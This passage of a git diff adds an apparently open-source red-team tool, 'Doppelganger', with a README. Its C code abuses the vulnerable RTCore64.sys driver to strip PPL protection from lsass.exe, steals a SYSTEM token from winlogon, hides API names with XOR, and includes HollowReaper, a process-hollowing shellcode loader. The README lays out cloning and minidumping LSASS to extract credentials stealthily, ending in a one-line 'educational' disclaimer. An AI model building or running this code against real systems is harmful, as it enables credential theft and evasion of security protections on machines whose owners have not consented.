+    const unsigned char ps_enc[] = { 0x60, 0x42, 0x7B, 0x5D, 0x5D, 0x41, 0x5F, 0x56, 0x54, 0x6A, 0x18, 0x11, 0x17, 0x01, 0x08, 0x36, 0x15, 0x07, 0x0A, 0x0F, 0x43, 0x42 };
+    char* ps_str = xor_decrypt_string(ps_enc, sizeof(ps_enc), XOR_KEY, key_len);
+    DWORD64 ps_offset = (DWORD64)CustomGetProcAddress(hNtoskrnl, ps_str) - (DWORD64)hNtoskrnl;
+    // log_info("PsInitialSystemProcess offset: 0x%llx", (unsigned long long)ps_offset);
+    
+    free(ps_str);
+    FreeLibrary(hNtoskrnl);
+    
+    DWORD64 sys_eproc = ReadMemoryDWORD64(Device, ntBase + ps_offset);
+    // log_info("PsInitialSystemProcess (EPROCESS) address: 0x%llx", sys_eproc);
+    log_info("System entry address: 0x%llx", sys_eproc);
+
+    DWORD64 list_head = sys_eproc + offs.ActiveProcessLinks;
+    DWORD64 curr_entry = ReadMemoryDWORD64(Device, list_head);
+    
+    while (curr_entry != list_head) {
+        DWORD64 eproc = curr_entry - offs.ActiveProcessLinks;
+        char name[16] = { 0 };
+        ReadMemoryBuffer(Device, eproc + offs.ImageFileName, name, 15);
+        name[15] = '\0';
+
+        // "lsass.exe"
+        const unsigned char ls_enc[] = { 0x5C, 0x42, 0x53, 0x40, 0x47, 0x1B, 0x53, 0x4F, 0x5D };
+        char* target = xor_decrypt_string(ls_enc, sizeof(ls_enc), XOR_KEY, key_len);
+
+        if (_stricmp(name, target) == 0) {
+            free(target);
+            log_info("Found EPROC at 0x%llx", eproc);
+
+            // Save EPROCESS address
+            SavedEproc = eproc;
+            
+            log_info("Original protection values:");
+            OriginalSigLv = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection - 2);
+            log_info("\tProtection value: 0x%02X", OriginalSigLv);
+            OriginalSecSigLv = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection - 1);
+            log_info("\tProtection value: 0x%02X", OriginalSecSigLv);
+            OriginalProt = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection);
+            log_info("\tProtection value: 0x%02X", OriginalProt);
+
+            // Disable
+            WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 2, 0x00); // SignatureLevel
+            WriteMemoryPrimitive(Device, 1, eproc + offs.Protection - 1, 0x00); // SectionSignatureLevel
+            WriteMemoryPrimitive(Device, 1, eproc + offs.Protection, 0x00); // Protection
+            log_success("PPL disabled (0x00 written)");
+
+            BYTE post = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection - 2);
+            log_info("\tSigLv value after write: 0x%02X", post);
+
+            post = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection - 1);
+            log_info("\tSecSigLv value after write: 0x%02X", post);
+
+            post = (BYTE)ReadMemoryPrimitive(Device, 1, eproc + offs.Protection);
+            log_info("\tProt value after write: 0x%02X", post);
+            
+
+            break;
+        }
+        free(target);
+        curr_entry = ReadMemoryDWORD64(Device, curr_entry);
+    }
+    
+
+    CloseHandle(Device);
+}
+
+void restorePPL() {
+    if (SavedEproc == 0) {
+        log_error("No saved EPRO found. Run disablePPL() first.");
+        return;
+    }
+
+    Offsets offs = getOffsets();
+    if (offs.Protection == 0) {
+        log_error("Offset 'Prot' not mapped... exiting!");
+        exit(1);
+    }
+
+    // \\.\RTCore64
+    const unsigned char dev_enc[] = { 0x6C, 0x6D, 0x1C, 0x6F, 0x66, 0x61, 0x75, 0x58, 0x4A, 0x5C, 0x57, 0x56 };
+    char* dev_path = xor_decrypt_string(dev_enc, sizeof(dev_enc), XOR_KEY, key_len);
+
+    HANDLE Device = pCFA(dev_path, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL);
+    free(dev_path);
+
+    if (Device == INVALID_HANDLE_VALUE) {
+        log_error("Unable to obtain a handle to the device object");
+        return;
+    }
+    log_info("Device handle obtained for restoration");
+
+    // Restore protections
+    WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 2, OriginalSigLv);
+    WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 1, OriginalSecSigLv);
+    WriteMemoryPrimitive(Device, 1, SavedEproc + offs.Protection, OriginalProt);
+
+    log_success("PPL restored to original value:");
+    
+    BYTE post = (BYTE)ReadMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 2);
+    log_info("\tSigLv value after write: 0x%02X", post);
+    post = (BYTE)ReadMemoryPrimitive(Device, 1, SavedEproc + offs.Protection - 1);
+    log_info("\tSecSigLv value after write: 0x%02X", post);
+    post = (BYTE)ReadMemoryPrimitive(Device, 1, SavedEproc + offs.Protection);
+    log_info("\tProt value after write: 0x%02X", post);
+
+    CloseHandle(Device);
+}
diff --git a/pentest/Doppelganger/Doppelganger/src/offsets.c b/pentest/Doppelganger/Doppelganger/src/offsets.c
@@ -0,0 +1,46 @@
+#include "offsets.h"
+#include "osinfo.h"
+#include "logger.h"
+
+// Function to get the offsets
+Offsets getOffsets() {
+    int build = GetOSVersion();
+
+    if (build < 0) {
+        exit(-1);
+    }
+
+    Offsets offs = { 0, 0, 0 };
+
+    // Offsets table for x64 (TODO)
+    if (build <= 16384) {       // Windows 8 Server 2012 NO PPL FIELD
+        offs.ActiveProcessLinks = 0x0000;
+        offs.ImageFileName = 0x0000;
+        offs.Protection = 0x0000;
+    }
+    else if (build <= 17415) {       // Windows 8.1 Server 2012R2 and RTM (16384)
+        offs.ActiveProcessLinks = 0x2e8;
+        offs.ImageFileName = 0x438;
+        offs.Protection = 0x67a;
+    }
+    else if (build <= 19045) {       // Windows 10 version 22H2 (Build 19041)
+        offs.ActiveProcessLinks = 0x448;
+        offs.ImageFileName = 0x5a8;
+        offs.Protection = 0x87a;
+    }
+    else if (build <= 22631) {  // Windows 23H2
+        offs.ActiveProcessLinks = 0x448;
+        offs.ImageFileName = 0x5a8;
+        offs.Protection = 0x87a;
+    }
+    else if (build > 22631) {  // Windows 11 24H2 and above
+        offs.ActiveProcessLinks = 0x1d8;
+        offs.ImageFileName = 0x338;
+        offs.Protection = 0x5fa;
+    }
+    else {
+        log_error("Offsets not defined for build %d on x64.", build);
+        exit(1);
+    }
+    return offs;
+}
+\ No newline at end of file
diff --git a/pentest/Doppelganger/Doppelganger/src/osinfo.c b/pentest/Doppelganger/Doppelganger/src/osinfo.c
@@ -0,0 +1,53 @@
+#include <windows.h>
+#include <psapi.h>
+#include "osinfo.h"
+#include "logger.h"
+#include "api.h"
+#include "defs.h"
+
+// =====================================================
+// OS Information Functions
+// =====================================================
+
+unsigned long long getKBAddr() {
+    DWORD cbNeeded = 0;
+    PVOID* base = NULL;
+
+    if (pEDD(NULL, 0, &cbNeeded)) {
+        base = (PVOID*)malloc(cbNeeded);
+        if (base) {
+            if (pEDD(base, cbNeeded, &cbNeeded)) {
+                unsigned long long addr = (unsigned long long)base[0];
+                free(base);
+                return addr;
+            }
+            free(base);
+        }
+    }
+
+    return 0;
+}
+
+// Function to get the OS version
+int GetOSVersion() {
+    wchar_t CurrentBuild[255] = { 0 };
+    DWORD bufferSize = sizeof(CurrentBuild);
+    LONG ret = RegGetValueW(
+        HKEY_LOCAL_MACHINE,
+        L"SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion",
+        L"CurrentBuild",
+        RRF_RT_REG_SZ,
+        NULL,
+        CurrentBuild,
+        &bufferSize
+    );
+    if (ret == ERROR_SUCCESS) {
+        log_info("Windows Build %ls detected", CurrentBuild);
+        return _wtoi(CurrentBuild);
+    }
+    else {
+        log_error("Unable to retrieve Windows Build. Error code: %ld", ret);
+        return -1;
+    }
+}
+
diff --git a/pentest/Doppelganger/Doppelganger/src/token.c b/pentest/Doppelganger/Doppelganger/src/token.c
@@ -0,0 +1,140 @@
+#include "token.h"
+#include "api.h"
+#include "logger.h"
+#include "utils.h"
+
+// ========================================
+// Functions to get needed privileges
+// ========================================
+
+
+BOOL EnablePrivilege(HANDLE hToken, const unsigned char* encryptedPriv, size_t encLen) {
+    TOKEN_PRIVILEGES tp;
+    LUID luid;
+
+    // Decrypt string
+    char* decA = xor_decrypt_string(encryptedPriv, encLen, XOR_KEY, key_len);
+    if (!decA) return FALSE;
+
+    // Convert to wide string
+    wchar_t* decW = to_wide(decA);
+    free(decA);
+    if (!decW) return FALSE;
+
+    if (!pLPVA(NULL, decW, &luid)) {
+        log_error("LookupPrivilegeValue failed for %s. Error: %lu", decW, GetLastError());
+        free(decW);
+        return FALSE;
+    }
+
+    tp.PrivilegeCount = 1;
+    tp.Privileges[0].Luid = luid;
+
+    DWORD attr = 0xA5 ^ 0xA7; // SE_PRIVILEGE_ENABLED (0x02) obfuscated
+    tp.Privileges[0].Attributes = attr;
+
+    BOOL result = pATP(hToken, FALSE, &tp, sizeof(tp), NULL, NULL);
+
+    free(decW);
+
+    if (!result || GetLastError() == ERROR_NOT_ALL_ASSIGNED)
+        return FALSE;
+
+    log_success("Requested privilege enabled");
+    return TRUE;
+}
+
+void EnableAllPrivileges(HANDLE hToken) {
+    int n = sizeof(privs) / sizeof(privs[0]);
+    for (int i = 0; i < n; i++) {
+        if (!EnablePrivilege(hToken, privs[i], priv_lens[i])) {
+            log_error("Failed to enable priv #%d", i);
+        }
+        else {
+            // log_success("Privilege #%d enabled", i);
+        }
+    }
+}
+
+// Enable encrypted privilege
+BOOL EnableENCPVG(const char* ENC_PRIV) {
+    // XOR decryption key is already defined globally as XOR_KEY, key_len
+    HANDLE hProc = pGCP();  // GetCurrentProcess
+    if (!hProc) {
+        log_error("Error getting current process handle");
+        return FALSE;
+    }
+
+    HANDLE hToken = NULL;
+
+    // Obfuscated flags: TOKEN_ADJUST_PRIVILEGES (0x20) ^ 0x55 = 0x75
+    //                   TOKEN_QUERY (0x08) ^ 0x55 = 0x5D
+    // TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY
+    DWORD flags = (0x75 ^ 0x55) | (0x5D ^ 0x55);  // = 0x28
+
+    if (!pOPTK(hProc, flags, &hToken)) {
+        log_error("Error opening current token");
+        return FALSE;
+    }
+
+    // Use existing logic to enable SeDebugPrivilege
+    BOOL result = EnablePrivilege(hToken, SE_DEBUG_ENC, sizeof(SE_DEBUG_ENC));
+
+    CloseHandle(hToken);
+    return result;
+}
+
+// =====================================================
+// Function to obtain a SYSTEM token
+// =====================================================
+BOOL GetSystemTokenAndDuplicate(HANDLE* hSystemToken) {
+    PROCESSENTRY32W pe = { 0 };
+    pe.dwSize = sizeof(PROCESSENTRY32W);
+    HANDLE hSnapshot = pCTH(TH32CS_SNAPPROCESS, 0);
+    // log_info("Snapshot handle: %p", hSnapshot);
+    if (hSnapshot == INVALID_HANDLE_VALUE) {
+        fprintf(logfile, "pCTH  error: %u", GetLastError());
+        return FALSE;
+    }
+
+    BOOL found = FALSE;
+    HANDLE hProcess = NULL;
+    HANDLE hToken = NULL;
+    HANDLE hDupToken = NULL;
+
+    if (pP32F(hSnapshot, &pe)) {
+        do {
+            // Look for winlogon
+            if (_wcsicmp(pe.szExeFile, L"winlogon.exe") == 0) {
+                hProcess = pOP(PROCESS_QUERY_INFORMATION, FALSE, pe.th32ProcessID);
+                if (hProcess) {
+                    if (pOPTK(hProcess, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY, &hToken)) {
+                        if (pDUPTOK(hToken, TOKEN_ALL_ACCESS, NULL, SecurityImpersonation, TokenImpersonation, &hDupToken)) {
+                            *hSystemToken = hDupToken;
+                            found = TRUE;
+                            log_info("Requesting permissions for new duplicated token...");
+                            EnableAllPrivileges(hDupToken);
+                            CloseHandle(hToken);
+                            CloseHandle(hProcess);
+                            log_success("Successfully duplicated token. Process can now run as SYSTEM.");
+                            break;
+                        }
+                        CloseHandle(hToken);
+                    }
+                    CloseHandle(hProcess);
+                }
+            }
+        } while (pP32N(hSnapshot, &pe));
+    }
+    CloseHandle(hSnapshot);
+
+    if (!found) {
+        fprintf(logfile, "Failed to obtain system token");
+        return FALSE;
+    }
+    return TRUE;
+}
+
+
+
+
diff --git a/pentest/Doppelganger/Doppelganger/src/utils.c b/pentest/Doppelganger/Doppelganger/src/utils.c
@@ -0,0 +1,115 @@
+#define _CRT_SECURE_NO_WARNINGS
+#include "utils.h"
+#include "logger.h"
+#include <stdlib.h>
+#include <string.h>
+
+// ======================================
+//  Functions to XOR encrypt/decrypt
+// ======================================
+const char* XOR_KEY = "0123456789abcdefghij";
+size_t key_len = 20;
+
+char* xor_decrypt_string(const unsigned char* cipher, size_t len, const char* key, size_t key_len)
+{
+    char* result = (char*)malloc(len + 1);
+    if (!result) return NULL;
+    for (size_t i = 0; i < len; i++) {
+        result[i] = cipher[i] ^ key[i % key_len];
+    }
+    result[len] = '\0';
+    return result;
+}
+
+void xor_buffer(unsigned char* buffer, size_t len, const char* key, size_t key_len)
+{
+    for (size_t i = 0; i < len; i++) {
+        buffer[i] ^= key[i % key_len];
+    }
+}
+
+// ========================================
+//  Function to convert string to UNICODE
+// ========================================
+wchar_t* to_wide(const char* str) {
+    int len = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0);
+    if (len == 0) return NULL;
+    wchar_t* wstr = (wchar_t*)malloc(len * sizeof(wchar_t));
+    if (!wstr) return NULL;
+    MultiByteToWideChar(CP_UTF8, 0, str, -1, wstr, len);
+    return wstr;
+}
+
+// =====================================================
+// Function to load clean versions of DLLs
+// =====================================================
+HMODULE LoadCleanDLL(char* dllPath) {
+
+    HMODULE hDLL = LoadLibraryA(dllPath);
+    /* DEBUG
+    if (hDLL)
+    {
+        log_success("Loaded clean copy of %s at: %p", dllPath, hDLL);
+    }
+    else
+    {
+        log_error("Failed to load %s. Error: %lu", dllPath, GetLastError());
+    }*/
+
+    return hDLL;
+}
+
+// =====================================================
+// GetProcAddress reimplementation
+// =====================================================
+
+FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
+    if (!hModule || !lpProcName) return NULL;
+
+    BYTE* baseAddr = (BYTE*)hModule;
+    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)baseAddr;
+    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) return NULL;
+
+    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)(baseAddr + dosHeader->e_lfanew);
+    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) return NULL;
+
+    IMAGE_DATA_DIRECTORY exportDirData = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+    if (!exportDirData.VirtualAddress) return NULL;
+
+    IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(baseAddr + exportDirData.VirtualAddress);
+
+    DWORD* names = (DWORD*)(baseAddr + exportDir->AddressOfNames);
+    WORD* ordinals = (WORD*)(baseAddr + exportDir->AddressOfNameOrdinals);
+    DWORD* functions = (DWORD*)(baseAddr + exportDir->AddressOfFunctions);
+
+    for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
+        char* name = (char*)(baseAddr + names[i]);
+        if (_stricmp(name, lpProcName) == 0) {
+            WORD ordinal = ordinals[i];
+            DWORD funcRVA = functions[ordinal];
+            FARPROC address = (FARPROC)(baseAddr + funcRVA);
+
+            // Check if it's a forward export
+            DWORD exportStart = exportDirData.VirtualAddress;
+            DWORD exportEnd = exportStart + exportDirData.Size;
+            if (funcRVA >= exportStart && funcRVA <= exportEnd) {
+                // It's a forward export (e.g., "sechost.OpenProcessToken")
+                char* forwardName = (char*)address;
+                char dllName[256] = { 0 };
+                char funcName[128] = { 0 };
+
+                sscanf(forwardName, "%[^.].%s", dllName, funcName);
+                strcat_s(dllName, sizeof(dllName), ".dll");
+
+                HMODULE hFwd = LoadLibraryA(dllName);
+                if (!hFwd) return NULL;
+
+                return GetProcAddress(hFwd, funcName);
+            }
+
+            return address;
+        }
+    }
+
+    return NULL;
+}
+\ No newline at end of file
diff --git a/pentest/Doppelganger/README.md b/pentest/Doppelganger/README.md
@@ -0,0 +1,63 @@
+# 🪞 Doppelganger – Mimic the Soul, Leave No Trace
+Doppelganger is an arcane tool designed to mimic LSASS, extract its secrets, and hide them in plain sight. It builds upon the forbidden arts of HollowReaper, using hollowed processes, kernel exploits, and spectral clones to bypass protection and exfiltrate credentials with stealth.
+
+![Doppelganger_logo](https://github.com/user-attachments/assets/dc6f30fb-3f7d-41aa-9455-5d7d77717fb8)
+
+## 📜 The Ritual
+### 🩸 Doppelganger
+The soul thief. This shellcode:
+
+🛡️ Disables PPL using the cursed RTCore64.sys driver (BYOVD)
+
+🧬 Clones LSASS into a benign replica
+
+💾 Creates a Minidump from the clone
+
+🗝️ XOR-encrypts the dump and writes it to disk, leaving behind only a shadow
+
+### 🧿 Utilities
+#### 💀 HollowReaper.c
+The vessel for your payload. This performs process hollowing, carving out a legitimate process and injecting your shellcode into its husk.
+🔧 Instructions for generating the shellcode to embed are provided in the HollowReaper project.
+
+#### 🔐 decrypt_xor_dump.py
+A local decryption utility. Use this to restore the original dump from its XOR-obfuscated form.
+
+## ⚗️ The Components
+| File | Purpose |
+|------|---------|
+| Doppelganger | The shellcode: disable PPL, clone LSASS, dump and XOR |
+| HollowReaper.c |	Hollow a process and inject shellcode |
+| decrypt_xor_dump.py | Python tool to decrypt XOR dump |
+| RTCore64.sys | Vulnerable driver used for PPL bypass (BYOVD) |
+
+## 🕯️ Usage Flow
+### Standalone
+In order to use Doppelganger you must place RTCore64.sys in C:\Users\Public. Doppleganger can be used standalone or hollowed through HollowReaper.
+```
+.\Doppelganger.exe
+```
+--------------------------------------------------------------------------------
+### Process Hollowed
+
+1️⃣ Compile Doppelganger
+
+2️⃣ Use Donut to convert it into shellcode
+```
+.\donut.exe -a 2 -f 7 -i Doppelganger.exe
+```
+3️⃣ XOR the shellcode and embed it into HollowReaper.c (look for util files in [HollowReaper](https://github.com/vari-sh/RedTeamGrimoire/tree/main/HollowReaper))
+
+4️⃣ Run HollowReaper to hollow a process and trigger Doppelganger (all files saved to C:\Users\Public)
+```
+.\HollowReaper.exe "C:\windows\explorer.exe"
+```
+5️⃣ Use decrypt_xor_dump.py to decrypt the dumped file offline
+```
+python .\decrypt_xor_dump.py .\doppelganger.dmp
+```
+
+---------------------------------------------------------------------------------
+
+## ⚠️ Disclaimer:
+This tool is provided for educational and research purposes only. Use responsibly. The arcane always watches. 🧿
diff --git a/pentest/Doppelganger/utils/HollowReaper.c b/pentest/Doppelganger/utils/HollowReaper.c
@@ -0,0 +1,507 @@
+/*
+    Author: vari.sh
+    Description:
+       - This program implements process hollowing (it creates a suspended process,
+         injects a deobfuscated shellcode via XOR, and then resumes the thread).
+
+    Usage: HollowReaper.exe "C:\windows\explorer.exe"
+
+*/
+
+#define _CRT_SECURE_NO_WARNINGS
+#include <windows.h>
+#include <stdio.h>
+
+
+// =====================================================
+// API Deobfuscation Functions (XOR)
+// =====================================================
+
+// Function to decrypt a string (encrypted data is not null-terminated)
+char* xor_decrypt_string(const unsigned char* cipher, size_t len, const char* key, size_t key_len)
+{
+    char* result = (char*)malloc(len + 1);
+    if (!result) return NULL;
+    for (size_t i = 0; i < len; i++) {
+        result[i] = cipher[i] ^ key[i % key_len];
+    }
+    result[len] = '\0';
+    return result;
+}
+
+// Function to decrypt a buffer in-place (e.g., for shellcode)
+void xor_decrypt_buffer(unsigned char* buffer, size_t len, const char* key, size_t key_len)
+{
+    for (size_t i = 0; i < len; i++) {
+        buffer[i] ^= key[i % key_len];
+    }
+}
+
+// to_wide util function
+
+wchar_t* to_wide(const char* str) {
+    int len = MultiByteToWideChar(CP_UTF8, 0, str, -1, NULL, 0);
+    if (len == 0) return NULL;
+    wchar_t* wstr = (wchar_t*)malloc(len * sizeof(wchar_t));
+    if (!wstr) return NULL;
+    MultiByteToWideChar(CP_UTF8, 0, str, -1, wstr, len);
+    return wstr;
+}
+
+// =====================================================
+// Function to load clean versions of DLLs
+// =====================================================
+HMODULE LoadCleanDLL(char* dllPath) {
+
+    HMODULE hDLL = LoadLibraryA(dllPath);
+    if (hDLL)
+    {
+        // printf("[+] Loaded clean copy of %s at: %p\n", dllPath, hDLL);
+    }
+    else
+    {
+        // printf("[ERROR] Failed to load %s. Error: %lu\n", dllPath, GetLastError());
+    }
+
+    return hDLL;
+}
+
+// =====================================================
+// get_proc_address reimplementation
+// =====================================================
+
+FARPROC CustomGetProcAddress(HMODULE hModule, LPCSTR lpProcName) {
+    if (hModule == NULL || lpProcName == NULL) {
+        printf("Invalid module handle or function name.\n");
+        return NULL;
+    }
+
+    // Get the base address of the module
+    BYTE* baseAddr = (BYTE*)hModule;
+
+    // Validate the DOS header
+    IMAGE_DOS_HEADER* dosHeader = (IMAGE_DOS_HEADER*)baseAddr;
+    if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
+        printf("[!] Invalid DOS signature.\n");
+        return NULL;
+    }
+
+    // Retrieve the NT headers using the DOS header's e_lfanew field
+    IMAGE_NT_HEADERS* ntHeaders = (IMAGE_NT_HEADERS*)(baseAddr + dosHeader->e_lfanew);
+    if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
+        printf("[!] Invalid NT signature.\n");
+        return NULL;
+    }
+
+    // Get the Export Directory from the Data Directory
+    IMAGE_DATA_DIRECTORY exportDataDir = ntHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
+    if (exportDataDir.VirtualAddress == 0) {
+        printf("[!] No export directory found.\n");
+        return NULL;
+    }
+
+    // Get a pointer to the Export Directory
+    IMAGE_EXPORT_DIRECTORY* exportDir = (IMAGE_EXPORT_DIRECTORY*)(baseAddr + exportDataDir.VirtualAddress);
+
+    // Get pointers to the arrays of function addresses, names and name ordinals
+    DWORD* addressOfFunctions = (DWORD*)(baseAddr + exportDir->AddressOfFunctions);
+    DWORD* addressOfNames = (DWORD*)(baseAddr + exportDir->AddressOfNames);
+    WORD* addressOfNameOrdinals = (WORD*)(baseAddr + exportDir->AddressOfNameOrdinals);
+
+    // Iterate through the exported names to find the desired function
+    for (DWORD i = 0; i < exportDir->NumberOfNames; i++) {
+        char* functionName = (char*)(baseAddr + addressOfNames[i]);
+        if (_stricmp(functionName, lpProcName) == 0) {
+            // Retrieve the ordinal for the found function
+            WORD ordinal = addressOfNameOrdinals[i];
+            // Get the RVA of the function
+            DWORD functionRVA = addressOfFunctions[ordinal];
+            // printf("[+] Found %s at ordinal %hu, RVA: 0x%08X\n", lpProcName, ordinal, functionRVA);
+            // Return the absolute address of the function
+            return (FARPROC)(baseAddr + functionRVA);
+        }
+    }
+
+    printf("[!] Function %s not found.\n", lpProcName);
+    return NULL;
+}
+
+// =====================================================
+// API Declarations
+// =====================================================
+
+// Loading API
+
+// "CreateProcessW"
+static const unsigned char CPW_ENC[] = {
+    0x73, 0x43, 0x57, 0x52, 0x40, 0x50, 0x66, 0x45, 0x57, 0x5A, 0x04, 0x11, 0x10, 0x33
+};
+
+// "ResumeThread"
+static const unsigned char RT_ENC[] = {
+    0x62, 0x54, 0x41, 0x46, 0x59, 0x50, 0x62, 0x5F, 0x4A, 0x5C, 0x00, 0x06
+};
+
+// "NtCreateSection"
+static const unsigned char NTCS_ENC[] = {
+    0x7E, 0x45, 0x71, 0x41, 0x51, 0x54, 0x42, 0x52, 0x6B, 0x5C, 0x02, 0x16, 0x0A, 0x0B, 0x0B
+};
+
+// "NtMapViewOfSection"
+static const unsigned char NTMVS_ENC[] = {
+    0x7E, 0x45, 0x7F, 0x52, 0x44, 0x63, 0x5F, 0x52, 0x4F, 0x76, 0x07, 0x31, 0x06, 0x07, 0x11, 0x0F, 0x08, 0x06
+};
+
+// "OpenProcessToken"
+static const unsigned char OPT_ENC[] = {
+    0x7F, 0x41, 0x57, 0x5D, 0x64, 0x47, 0x59, 0x54, 0x5D, 0x4A, 0x12, 0x36, 0x0C, 0x0F, 0x00, 0x08
+};
+
+// "AdjustTokenPrivileges"
+static const unsigned char ATP_ENC[] = {
+    0x71, 0x55, 0x58, 0x46, 0x47, 0x41, 0x62, 0x58, 0x53, 0x5C, 0x0F, 0x32, 0x11, 0x0D, 0x13, 0x0F, 0x0B, 0x0D, 0x0E, 0x0F, 0x43
+};
+
+// "LookupPrivilegeValueA"
+static const unsigned char LPVA_ENC[] = {
+    0x7C, 0x5E, 0x5D, 0x58, 0x41, 0x45, 0x66, 0x45, 0x51, 0x4F, 0x08, 0x0E, 0x06, 0x03, 0x00, 0x30, 0x06, 0x04, 0x1C, 0x0F, 0x71
+};
+
+// "GetThreadContext"
+static const unsigned char GTC_ENC[] = {
+    0x77, 0x54, 0x46, 0x67, 0x5C, 0x47, 0x53, 0x56, 0x5C, 0x7A, 0x0E, 0x0C, 0x17, 0x01, 0x1D, 0x12
+};
+
+// "SetThreadContext"
+static const unsigned char STC_ENC[] = {
+    0x63, 0x54, 0x46, 0x67, 0x5C, 0x47, 0x53, 0x56, 0x5C, 0x7A, 0x0E, 0x0C, 0x17, 0x01, 0x1D, 0x12
+};
+
+// "GetCurrentProcess"
+static const unsigned char GCP_ENC[] = {
+    0x77, 0x54, 0x46, 0x70, 0x41, 0x47, 0x44, 0x52, 0x56, 0x4D, 0x31, 0x10, 0x0C, 0x07, 0x00, 0x15, 0x14
+};
+
+typedef BOOL(WINAPI* PFN_OPT)(
+    HANDLE ProcessHandle,
+    DWORD DesiredAccess,
+    PHANDLE TokenHandle
+    );
+
+typedef BOOL(WINAPI* PFN_ATP)(
+    HANDLE TokenHandle,
+    BOOL DisableAllPrivileges,
+    PTOKEN_PRIVILEGES NewState,
+    DWORD BufferLength,
+    PTOKEN_PRIVILEGES PreviousState,
+    PDWORD ReturnLength
+    );
+
+typedef BOOL(WINAPI* PFN_LPVA)(
+    LPCSTR lpSystemName,
+    LPCSTR lpName,
+    PLUID lpLuid
+    );
+
+typedef BOOL(WINAPI* PFN_CPW)(
+    LPCWSTR lpApplicationName,
+    LPWSTR lpCommandLine,
+    LPSECURITY_ATTRIBUTES lpProcessAttributes,
+    LPSECURITY_ATTRIBUTES lpThreadAttributes,
+    BOOL bInheritHandles,
+    DWORD dwCreationFlags,
+    LPVOID lpEnvironment,
+    LPCWSTR lpCurrentDirectory,
+    LPSTARTUPINFOW lpStartupInfo,
+    LPPROCESS_INFORMATION lpProcessInformation
+    );
+
+typedef DWORD(WINAPI* PFN_RT)(
+    HANDLE hThread
+    );
+
+typedef NTSTATUS(NTAPI* PFN_NTCS)(
+    PHANDLE SectionHandle,
+    ACCESS_MASK DesiredAccess,
+    PVOID ObjectAttributes,
+    PLARGE_INTEGER MaximumSize,
+    ULONG SectionPageProtection,
+    ULONG AllocationAttributes,
+    HANDLE FileHandle
+    );
+
+typedef NTSTATUS(NTAPI* PFN_NTMVOS)(
+    HANDLE SectionHandle,
+    HANDLE ProcessHandle,
+    PVOID* BaseAddress,
+    ULONG ZeroBits,
+    SIZE_T CommitSize,
+    PLARGE_INTEGER SectionOffset,
+    PSIZE_T ViewSize,
+    DWORD InheritDisposition,
+    ULONG AllocationType,
+    ULONG Win32Protect
+    );
+
+typedef BOOL(WINAPI* PFN_GTC)(
+    HANDLE hThread,
+    LPCONTEXT lpContext
+    );
+
+typedef BOOL(WINAPI* PFN_STC)(
+    HANDLE hThread,
+    const CONTEXT* lpContext
+    );
+
+typedef HANDLE(WINAPI* PFN_GCP)(
+    VOID
+    );
+
+// =====================================================
+// Main – Process Hollowing + LSASS EPROCESS Reading
+// =====================================================
+int main(int argc, char* argv[]) {
+    // Start
+    printf("[+] Starting HollowReaper\n");
+    Sleep(5000);
+
+    // Load clean versions of DLLs
+    char* kernel32Path = "C:\\Windows\\System32\\kernel32.dll";
+    HMODULE hKernel32 = LoadCleanDLL(kernel32Path);
+
+    char* ntdllPath = "C:\\Windows\\System32\\ntdll.dll";
+    HMODULE hNtdll = LoadCleanDLL(ntdllPath);
+
+    char* advapi32Path = "C:\\Windows\\System32\\advapi32.dll";
+    HMODULE hAdvapi32 = LoadCleanDLL(advapi32Path);
+
+    if (!hKernel32 || !hNtdll || !hAdvapi32) {
+        printf("[!] Failed to load one or more DLLs\n");
+        return 1;
+    }
+
+    // XOR key definition
+    const char* XOR_KEY = "0123456789abcdefghij";
+    size_t key_len = strlen(XOR_KEY);
+
+    // deXORing names
+    char* strCPW = (char*)malloc(sizeof(CPW_ENC));
+    char* strRT = (char*)malloc(sizeof(RT_ENC));
+    char* strNTCS = (char*)malloc(sizeof(NTCS_ENC));
+    char* strNTMVS = (char*)malloc(sizeof(NTMVS_ENC));
+    char* strOPT = (char*)malloc(sizeof(OPT_ENC));
+    char* strATP = (char*)malloc(sizeof(ATP_ENC));
+    char* strLPVA = (char*)malloc(sizeof(LPVA_ENC));
+    char* strGTC = (char*)malloc(sizeof(GTC_ENC));
+    char* strSTC = (char*)malloc(sizeof(STC_ENC));
+    char* strGCP = (char*)malloc(sizeof(GCP_ENC));
+
+    if (!strCPW || !strRT || !strNTCS || !strNTMVS || !strOPT || !strATP || !strLPVA || !strGTC || !strSTC || !strGCP) {
+        printf("[ERROR] Memory allocation error\n");
+        return 1;
+    }
+
+    // KERNEL32.DLL APIs
+    memcpy(strCPW, CPW_ENC, sizeof(CPW_ENC));
+    strCPW = xor_decrypt_string((unsigned char*)strCPW, sizeof(CPW_ENC), XOR_KEY, key_len);
+    PFN_CPW pCPW = (PFN_CPW)CustomGetProcAddress(hKernel32, strCPW);
+    SecureZeroMemory(strCPW, sizeof(CPW_ENC)); free(strCPW);
+
+    memcpy(strRT, RT_ENC, sizeof(RT_ENC));
+    strRT = xor_decrypt_string((unsigned char*)strRT, sizeof(RT_ENC), XOR_KEY, key_len);
